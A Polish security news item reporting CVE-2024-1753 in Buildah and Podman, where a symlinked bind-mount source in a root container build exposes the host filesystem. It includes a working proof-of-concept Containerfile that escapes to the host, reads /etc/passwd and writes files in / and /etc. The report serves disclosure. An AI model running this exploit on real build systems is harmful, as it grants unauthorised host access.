W pakietach Buildah i Podman odkryto lukę (CVE-2024-1753), która umożliwia pełen dostęp do systemu plików środowiska gospodarza na etapie budowy kontenera uruchamianego z uprawnieniami roota. W systemach z włączonym SELinux dostęp do systemu plików gospodarza jest ograniczony do trybu tylko do odczytu. Łatka jest obecnie dostępna w postaci poprawki, która kilka minut temu została przyjęta do bazy kodu Buildah.
Luka wynika z faktu, że podczas montowania części systemu plików za pomocą polecenia „mount —bind” w trakcie budowy na etapie RUN, argument z katalogiem źródłowym (parametr „source=”) nie jest sprawdzany pod kątem istnienia w głównym systemie plików. Złośliwy plik konfiguracyjny Containerfile może używać obrazu kontenera, w którym katalog źródłowy do montowania jest przedstawiony jako dowiązanie symboliczne do głównego systemu plików. W takim przypadku operacja montażu spowoduje zamontowanie wewnątrz kontenera głównego systemu plików środowiska gospodarza, co pozwoli na uzyskanie pełnego dostępu do systemu plików gospodarza na etapie RUN i umożliwi wyjście z kontenera podczas budowy poleceniami „buildah build” lub „podman build”.
Przykładowy złośliwy plik Containerfile, którego budowa poleceniem „podman build -f ~\/Containerfile .” doprowadzi do wyświetlenia zawartości \/etc\/passwd i stworzenia plików \/BIND_BREAKEOUT oraz \/etc\/BIND_BREAKOUT2 w środowisku gospodarza: FROM alpine as base RUN ln -s \/ \/rootdir RUN ln -s \/etc \/etc2 FROM alpine RUN echo „ls container root” RUN ls -l \/ RUN echo „Z wykorzystaniem exploita pokazuje hosta root, a nie root kontenera, i tworzy \/BIND_BREAKOUT w \/ na hoście” RUN —mount=type=bind,from=base,source=\/rootdir,destination=\/exploit,rw ls -l \/exploit; touch \/exploit\/BIND_BREAKOUT; ls -l \/exploit RUN echo „Z wykorzystaniem exploita pokazuje host \/etc\/passwd, a nie kontenera, i tworzy \/BIND_BREAKOUT2 w \/etc na hoście” RUN —mount=type=bind,rw,source=\/etc2,destination=\/etc2,from=base ls -l \/; ls -l \/etc2\/passwd; cat \/etc2\/passwd; touch \/etc2\/BIND_BREAKOUT2; ls -l \/etc2
Źródło: opennet.ru
